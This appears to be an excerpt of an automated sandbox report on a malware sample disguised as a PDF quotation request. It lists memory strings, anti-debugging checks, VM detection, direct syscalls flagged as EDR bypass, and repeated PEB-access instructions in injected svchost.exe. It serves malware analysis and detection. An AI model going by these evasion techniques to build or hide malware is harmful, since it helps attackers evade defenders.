Source: RMActivate_isv.exe, 0000000B.00000002.3131128904.0000000003084000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files (x86)\VMware Workstation\Fuxm8.exej
Source: firefox.exe, 00000010.00000002.2000496930.0000000028612000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: VMware Workstation
Source: Z9508-2L1.11.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	API call chain: ExitProcess graph end node			graph_2-87629
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	API call chain: ExitProcess graph end node			graph_2-86258

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 7_2_03C7096E rdtsc

7_2_03C7096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 7_2_00417303 LdrLoadDll,

7_2_00417303

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0045A370 BlockInput,

2_2_0045A370

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

2_2_0040D590

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0040EBD0 LoadLibraryA,GetProcAddress,

2_2_0040EBD0

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_03263508 mov eax, dword ptr fs:[00000030h]	2_2_03263508
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_03263568 mov eax, dword ptr fs:[00000030h]	2_2_03263568
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_03261EB8 mov eax, dword ptr fs:[00000030h]	2_2_03261EB8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEC3CD mov eax, dword ptr fs:[00000030h]	7_2_03CEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A3C0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C383C0 mov eax, dword ptr fs:[00000030h]	7_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C383C0 mov eax, dword ptr fs:[00000030h]	7_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C383C0 mov eax, dword ptr fs:[00000030h]	7_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C383C0 mov eax, dword ptr fs:[00000030h]	7_2_03C383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB63C0 mov eax, dword ptr fs:[00000030h]	7_2_03CB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE3DB mov eax, dword ptr fs:[00000030h]	7_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE3DB mov eax, dword ptr fs:[00000030h]	7_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE3DB mov ecx, dword ptr fs:[00000030h]	7_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE3DB mov eax, dword ptr fs:[00000030h]	7_2_03CDE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD43D4 mov eax, dword ptr fs:[00000030h]	7_2_03CD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD43D4 mov eax, dword ptr fs:[00000030h]	7_2_03CD43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C403E9 mov eax, dword ptr fs:[00000030h]	7_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C403E9 mov eax, dword ptr fs:[00000030h]	7_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C403E9 mov eax, dword ptr fs:[00000030h]	7_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C403E9 mov eax, dword ptr fs:[00000030h]	7_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C403E9 mov eax, dword ptr fs:[00000030h]	7_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C403E9 mov eax, dword ptr fs:[00000030h]	7_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C403E9 mov eax, dword ptr fs:[00000030h]	7_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C403E9 mov eax, dword ptr fs:[00000030h]	7_2_03C403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	7_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	7_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4E3F0 mov eax, dword ptr fs:[00000030h]	7_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C663FF mov eax, dword ptr fs:[00000030h]	7_2_03C663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2E388 mov eax, dword ptr fs:[00000030h]	7_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2E388 mov eax, dword ptr fs:[00000030h]	7_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2E388 mov eax, dword ptr fs:[00000030h]	7_2_03C2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5438F mov eax, dword ptr fs:[00000030h]	7_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5438F mov eax, dword ptr fs:[00000030h]	7_2_03C5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C28397 mov eax, dword ptr fs:[00000030h]	7_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C28397 mov eax, dword ptr fs:[00000030h]	7_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C28397 mov eax, dword ptr fs:[00000030h]	7_2_03C28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB2349 mov eax, dword ptr fs:[00000030h]	7_2_03CB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB035C mov eax, dword ptr fs:[00000030h]	7_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB035C mov eax, dword ptr fs:[00000030h]	7_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB035C mov eax, dword ptr fs:[00000030h]	7_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB035C mov ecx, dword ptr fs:[00000030h]	7_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB035C mov eax, dword ptr fs:[00000030h]	7_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB035C mov eax, dword ptr fs:[00000030h]	7_2_03CB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFA352 mov eax, dword ptr fs:[00000030h]	7_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD8350 mov ecx, dword ptr fs:[00000030h]	7_2_03CD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD437C mov eax, dword ptr fs:[00000030h]	7_2_03CD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A30B mov eax, dword ptr fs:[00000030h]	7_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A30B mov eax, dword ptr fs:[00000030h]	7_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A30B mov eax, dword ptr fs:[00000030h]	7_2_03C6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2C310 mov ecx, dword ptr fs:[00000030h]	7_2_03C2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C50310 mov ecx, dword ptr fs:[00000030h]	7_2_03C50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	7_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	7_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	7_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	7_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A2C3 mov eax, dword ptr fs:[00000030h]	7_2_03C3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C402E1 mov eax, dword ptr fs:[00000030h]	7_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C402E1 mov eax, dword ptr fs:[00000030h]	7_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C402E1 mov eax, dword ptr fs:[00000030h]	7_2_03C402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E284 mov eax, dword ptr fs:[00000030h]	7_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6E284 mov eax, dword ptr fs:[00000030h]	7_2_03C6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB0283 mov eax, dword ptr fs:[00000030h]	7_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB0283 mov eax, dword ptr fs:[00000030h]	7_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB0283 mov eax, dword ptr fs:[00000030h]	7_2_03CB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C402A0 mov eax, dword ptr fs:[00000030h]	7_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C402A0 mov eax, dword ptr fs:[00000030h]	7_2_03C402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	7_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC62A0 mov ecx, dword ptr fs:[00000030h]	7_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	7_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	7_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	7_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC62A0 mov eax, dword ptr fs:[00000030h]	7_2_03CC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB8243 mov eax, dword ptr fs:[00000030h]	7_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB8243 mov ecx, dword ptr fs:[00000030h]	7_2_03CB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2A250 mov eax, dword ptr fs:[00000030h]	7_2_03C2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36259 mov eax, dword ptr fs:[00000030h]	7_2_03C36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEA250 mov eax, dword ptr fs:[00000030h]	7_2_03CEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEA250 mov eax, dword ptr fs:[00000030h]	7_2_03CEA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C34260 mov eax, dword ptr fs:[00000030h]	7_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C34260 mov eax, dword ptr fs:[00000030h]	7_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C34260 mov eax, dword ptr fs:[00000030h]	7_2_03C34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2826B mov eax, dword ptr fs:[00000030h]	7_2_03C2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE0274 mov eax, dword ptr fs:[00000030h]	7_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2823B mov eax, dword ptr fs:[00000030h]	7_2_03C2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	7_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF61C3 mov eax, dword ptr fs:[00000030h]	7_2_03CF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	7_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	7_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE1D0 mov ecx, dword ptr fs:[00000030h]	7_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	7_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE1D0 mov eax, dword ptr fs:[00000030h]	7_2_03CAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03D061E5 mov eax, dword ptr fs:[00000030h]	7_2_03D061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C601F8 mov eax, dword ptr fs:[00000030h]	7_2_03C601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C70185 mov eax, dword ptr fs:[00000030h]	7_2_03C70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEC188 mov eax, dword ptr fs:[00000030h]	7_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CEC188 mov eax, dword ptr fs:[00000030h]	7_2_03CEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD4180 mov eax, dword ptr fs:[00000030h]	7_2_03CD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD4180 mov eax, dword ptr fs:[00000030h]	7_2_03CD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB019F mov eax, dword ptr fs:[00000030h]	7_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB019F mov eax, dword ptr fs:[00000030h]	7_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB019F mov eax, dword ptr fs:[00000030h]	7_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB019F mov eax, dword ptr fs:[00000030h]	7_2_03CB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2A197 mov eax, dword ptr fs:[00000030h]	7_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2A197 mov eax, dword ptr fs:[00000030h]	7_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2A197 mov eax, dword ptr fs:[00000030h]	7_2_03C2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC4144 mov eax, dword ptr fs:[00000030h]	7_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC4144 mov eax, dword ptr fs:[00000030h]	7_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC4144 mov ecx, dword ptr fs:[00000030h]	7_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC4144 mov eax, dword ptr fs:[00000030h]	7_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC4144 mov eax, dword ptr fs:[00000030h]	7_2_03CC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2C156 mov eax, dword ptr fs:[00000030h]	7_2_03C2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC8158 mov eax, dword ptr fs:[00000030h]	7_2_03CC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36154 mov eax, dword ptr fs:[00000030h]	7_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C36154 mov eax, dword ptr fs:[00000030h]	7_2_03C36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov eax, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov eax, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov eax, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov eax, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov eax, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov eax, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDE10E mov ecx, dword ptr fs:[00000030h]	7_2_03CDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDA118 mov ecx, dword ptr fs:[00000030h]	7_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDA118 mov eax, dword ptr fs:[00000030h]	7_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDA118 mov eax, dword ptr fs:[00000030h]	7_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CDA118 mov eax, dword ptr fs:[00000030h]	7_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF0115 mov eax, dword ptr fs:[00000030h]	7_2_03CF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C60124 mov eax, dword ptr fs:[00000030h]	7_2_03C60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB20DE mov eax, dword ptr fs:[00000030h]	7_2_03CB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2A0E3 mov ecx, dword ptr fs:[00000030h]	7_2_03C2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C380E9 mov eax, dword ptr fs:[00000030h]	7_2_03C380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB60E0 mov eax, dword ptr fs:[00000030h]	7_2_03CB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2C0F0 mov eax, dword ptr fs:[00000030h]	7_2_03C2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C720F0 mov ecx, dword ptr fs:[00000030h]	7_2_03C720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3208A mov eax, dword ptr fs:[00000030h]	7_2_03C3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC80A8 mov eax, dword ptr fs:[00000030h]	7_2_03CC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF60B8 mov eax, dword ptr fs:[00000030h]	7_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CF60B8 mov ecx, dword ptr fs:[00000030h]	7_2_03CF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C32050 mov eax, dword ptr fs:[00000030h]	7_2_03C32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB6050 mov eax, dword ptr fs:[00000030h]	7_2_03CB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5C073 mov eax, dword ptr fs:[00000030h]	7_2_03C5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB4000 mov ecx, dword ptr fs:[00000030h]	7_2_03CB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD2000 mov eax, dword ptr fs:[00000030h]	7_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD2000 mov eax, dword ptr fs:[00000030h]	7_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD2000 mov eax, dword ptr fs:[00000030h]	7_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD2000 mov eax, dword ptr fs:[00000030h]	7_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD2000 mov eax, dword ptr fs:[00000030h]	7_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD2000 mov eax, dword ptr fs:[00000030h]	7_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD2000 mov eax, dword ptr fs:[00000030h]	7_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD2000 mov eax, dword ptr fs:[00000030h]	7_2_03CD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4E016 mov eax, dword ptr fs:[00000030h]	7_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4E016 mov eax, dword ptr fs:[00000030h]	7_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4E016 mov eax, dword ptr fs:[00000030h]	7_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C4E016 mov eax, dword ptr fs:[00000030h]	7_2_03C4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2A020 mov eax, dword ptr fs:[00000030h]	7_2_03C2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C2C020 mov eax, dword ptr fs:[00000030h]	7_2_03C2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC6030 mov eax, dword ptr fs:[00000030h]	7_2_03CC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3C7C0 mov eax, dword ptr fs:[00000030h]	7_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB07C3 mov eax, dword ptr fs:[00000030h]	7_2_03CB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C527ED mov eax, dword ptr fs:[00000030h]	7_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C527ED mov eax, dword ptr fs:[00000030h]	7_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C527ED mov eax, dword ptr fs:[00000030h]	7_2_03C527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBE7E1 mov eax, dword ptr fs:[00000030h]	7_2_03CBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C347FB mov eax, dword ptr fs:[00000030h]	7_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C347FB mov eax, dword ptr fs:[00000030h]	7_2_03C347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD678E mov eax, dword ptr fs:[00000030h]	7_2_03CD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C307AF mov eax, dword ptr fs:[00000030h]	7_2_03C307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CE47A0 mov eax, dword ptr fs:[00000030h]	7_2_03CE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6674D mov esi, dword ptr fs:[00000030h]	7_2_03C6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6674D mov eax, dword ptr fs:[00000030h]	7_2_03C6674D
